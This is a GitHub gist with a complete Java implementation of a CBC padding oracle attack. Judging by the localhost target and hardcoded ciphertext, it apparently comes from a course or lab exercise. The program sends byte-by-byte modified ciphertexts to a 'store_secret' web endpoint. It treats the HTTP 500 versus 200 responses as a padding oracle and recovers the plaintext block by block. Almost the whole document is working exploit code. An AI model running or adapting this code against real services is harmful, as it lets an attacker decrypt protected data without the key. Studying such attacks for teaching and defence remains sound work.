Skip to content

Instantly share code, notes, and snippets.

@t2d
Last active December 18, 2015 09:19
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save t2d/5760362 to your computer and use it in GitHub Desktop.
Save t2d/5760362 to your computer and use it in GitHub Desktop.
Implementation of a Padding Oracle Attack in Java
import java.io.IOException;
import java.io.UnsupportedEncodingException;
import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLEncoder;
import java.net.URLConnection;
import org.apache.commons.codec.binary.Base64;
public class PaddingOracle {
public static void main(String[] args) {
//String cypher = "f63b6d4e576d5f49cb3085788d280236"; // IV
//String cypher = "7796e4ebcbb7a9fa2cbef4bd2b046a4d"; // erster Block
String cypher = "f63b6d4e576d5f49cb3085788d2802367796e4ebcbb7a9fa2cbef4bd2b046a4db3488d4e8b98618a5d366fe4c9634b0dff6bb874e18e81e9c217f15623cad973"; // Store 200
int bs = 16;
byte[][] blocks;
int b = 0;
String solution = "";
// teile cypher in ByteArray-Bloecke
int cl = cypher.length() / 2;
if (( cl % bs == 0 ) && (cl / bs > 1)) {
blocks = new byte[cl/bs][bs];
for (int i=0; i<cl*2; i=i+bs*2) {
blocks[b] = hexStringToByteArray(cypher.substring(i,i+bs*2));
b++;
}
} else {
blocks = null;
System.out.println("Cyphertext muss Vielfaches von Blocksize sein!");
System.out.println("Cyphertext-Laenge: "+ cl + " Blocksize: " + bs);
System.exit(1);
}
// knacke bloecke
b = 0;
while (b < blocks.length -1) {
solution += new String(crackBlock(blocks[b+1], blocks[b]));
b++;
}
// delete padding
String[] paddings = {"01", "0202", "030303", "04040404", "0505050505", "060606060606", "07070707070707", "0808080808080808", "090909090909090909",
"0a0a0a0a0a0a0a0a0a0a", "0b0b0b0b0b0b0b0b0b0b0b", "0c0c0c0c0c0c0c0c0c0c0c0c", "0d0d0d0d0d0d0d0d0d0d0d0d0d",
"0e0e0e0e0e0e0e0e0e0e0e0e0e0e", "0f0f0f0f0f0f0f0f0f0f0f0f0f0f0f"};
for ( String padding: paddings) {
String hexPadding = hexStringToString(padding);
if ( solution.endsWith( hexPadding ) ) {
solution = solution.substring(0, solution.length() - hexPadding.length());
}
}
System.out.println("Solution found: " + solution);
}
public static byte[] crackBlock( byte[] inputBlock , byte[] vorgaenger) {
// construct testArray
int bs = inputBlock.length;
byte[] testArray = new byte[bs*2];
System.arraycopy(inputBlock, 0, testArray, bs, bs);
byte[] loesung = new byte[bs];
int padding = 1;
// from last to first byte
for (int i=bs-1; i>=0; i--) {
int versuch = 0;
int code = 0;
// try all characters
while ( code != 200 ) {
testArray[i] += 1;
if (versuch > 256) {
System.out.println("Bittest fehlgeschlagen!");
return loesung;
}
versuch++;
String testString = encode(testArray);
code = getCode(testString);
}
System.out.println("Bit gefunden: " + Integer.toHexString(testArray[i] & 0xff) + " in " + byteArrayToHexString(testArray));
// berechne Loesungs-Byte
if (padding==0) {
System.out.println("Padding nicht gesetzt!");
System.exit(1);
}
loesung[i] = (byte) (padding ^ vorgaenger[i] ^ testArray[i]);
System.out.println("Lösung: " + byteArrayToHexString(loesung) + " / " + new String(loesung));
// setze almost valid padding fuer naechste Runde
if ( i > 0 ) {
padding++;
for (int j=i; j<bs; j++) {
//testArray[j] = (byte) (loesung[j] ^ (padding+16-i) ^ vorgaenger[j]);
testArray[j] = (byte) (loesung[j] ^ (padding) ^ vorgaenger[j]);
}
System.out.println("Set almost valid padding to " + (padding) + " in " + byteArrayToHexString(testArray));
}
}
return loesung;
}
// send secret to server and return code
public static int getCode(String secret) {
Integer code = 1;
String host = "http://localhost:8888/store_secret/";
String full = host + secret;
try {
URL url = new URL(full);
URLConnection con = url.openConnection();
con.connect();
String head = con.getHeaderField(0);
if ( head.equals("HTTP/1.1 500 Invalid padding") || head.equals("HTTP/1.1 500 Internal Server Error") ) {
code = 500;
} else if ( head.equals("HTTP/1.1 200 OK") ) {
code = 200;
} else if ( head.equals("HTTP/1.1 400 Bad Request") ) {
code = 400;
} else {
String StringHead = "Komischer Code: ";
StringHead += head.toString();
System.out.println(StringHead);
}
} catch (MalformedURLException e) {
e.printStackTrace();
} catch (IOException e) {
e.printStackTrace();
}
//System.out.println(secret + " " + code);
return code;
}
//Converting a string of hex character to bytes
public static byte[] hexStringToByteArray(String s) {
int len = s.length();
byte[] data = new byte[len / 2];
for (int i = 0; i < len; i += 2){
data[i / 2] = (byte) ((Character.digit(s.charAt(i), 16) << 4) + Character.digit(s.charAt(i+1), 16));
}
return data;
}
//Converting a bytes array to string of hex character
public static String byteArrayToHexString(byte[] b) {
int len = b.length;
String data = new String();
for (int i = 0; i < len; i++){
data += Integer.toHexString((b[i] >> 4) & 0xf);
data += Integer.toHexString(b[i] & 0xf);
}
return data;
}
// Converting Hex to String
public static String hexStringToString(String hex) {
StringBuilder output = new StringBuilder();
for (int i = 0; i < hex.length(); i+=2) {
String str = hex.substring(i, i+2);
output.append((char)Integer.parseInt(str, 16));
}
return output.toString();
}
// Do base64 and URL encoding of ByteArray
public static String encode( byte[] normal ){
String url = new String();
try {
String s = Base64.encodeBase64String(normal);
url = URLEncoder.encode(s, "ASCII");
//System.out.println(s);
//System.out.println(url);
} catch ( UnsupportedEncodingException e ) {
e.printStackTrace();
}
return url;
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment